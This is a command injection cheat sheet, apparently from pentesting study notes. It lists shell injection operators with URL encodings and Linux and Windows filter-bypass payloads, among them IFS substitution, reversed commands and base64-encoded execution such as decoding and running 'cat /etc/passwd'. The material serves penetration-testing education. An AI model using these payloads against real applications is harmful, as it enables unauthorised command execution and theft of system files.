Command Injection

Injection Operators

Injection Operator

Injection Character

URL-Encoded Character

Executed Command

Semicolon

;

%3b

Both

New Line

%0a

Both

Background

&

%26

Both (second output generally shown first)

Pipe

|

%7c

Both (only second output is shown)

AND

&&

%26%26

Both (only if first succeeds)

OR

||

%7c%7c

Second (only if first fails)

Sub-Shell

``

%60%60

Both (Linux-only)

Sub-Shell

$()

%24%28%29

Both (Linux-only)

Linux

Filtered Character Bypass

CodeDescription

printenv

Can be used to view all environment variables

Spaces

%09

Using tabs instead of spaces

${IFS}

Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $())

{ls,-la}

Commas will be replaced with spaces

Other Characters

${PATH:0:1}

Will be replaced with /

${LS_COLORS:10:1}

Will be replaced with ;

$(tr '!-}' '"-~'<<<[)

Shift character by one ([ -> \)

Blacklisted Command Bypass

CodeDescription

Character Insertion

' or "

Total must be even

$@ or \

Linux only

Case Manipulation

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

Execute command regardless of cases

$(a="WhOaMi";printf %s "${a,,}")

Another variation of the technique

Reversed Commands

echo 'whoami' | rev

Reverse a string

$(rev<<<'imaohw')

Execute reversed command

Encoded Commands

echo -n 'cat /etc/passwd | grep 33' | base64

Encode a string with base64

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Execute b64 encoded string

Windows

Filtered Character Bypass

CodeDescription

Get-ChildItem Env:

Can be used to view all environment variables - (PowerShell)

Spaces

%09

Using tabs instead of spaces

%PROGRAMFILES:~10,-5%

Will be replaced with a space - (CMD)

$env:PROGRAMFILES[10]

Will be replaced with a space - (PowerShell)

Other Characters

%HOMEPATH:~0,-17%

Will be replaced with \ - (CMD)

$env:HOMEPATH[0]

Will be replaced with \ - (PowerShell)

Blacklisted Command Bypass

CodeDescription

Character Insertion

' or "

Total must be even

^

Windows only (CMD)

Case Manipulation

WhoAmi

Simply send the character with odd cases

Reversed Commands

"whoami"[-1..-20] -join ''

Reverse a string

iex "$('imaohw'[-1..-20] -join '')"

Execute reversed command

Encoded Commands

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

Encode a string with base64

iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Execute b64 encoded string

PreviousFile UploadNextWeb Attacks

Last updated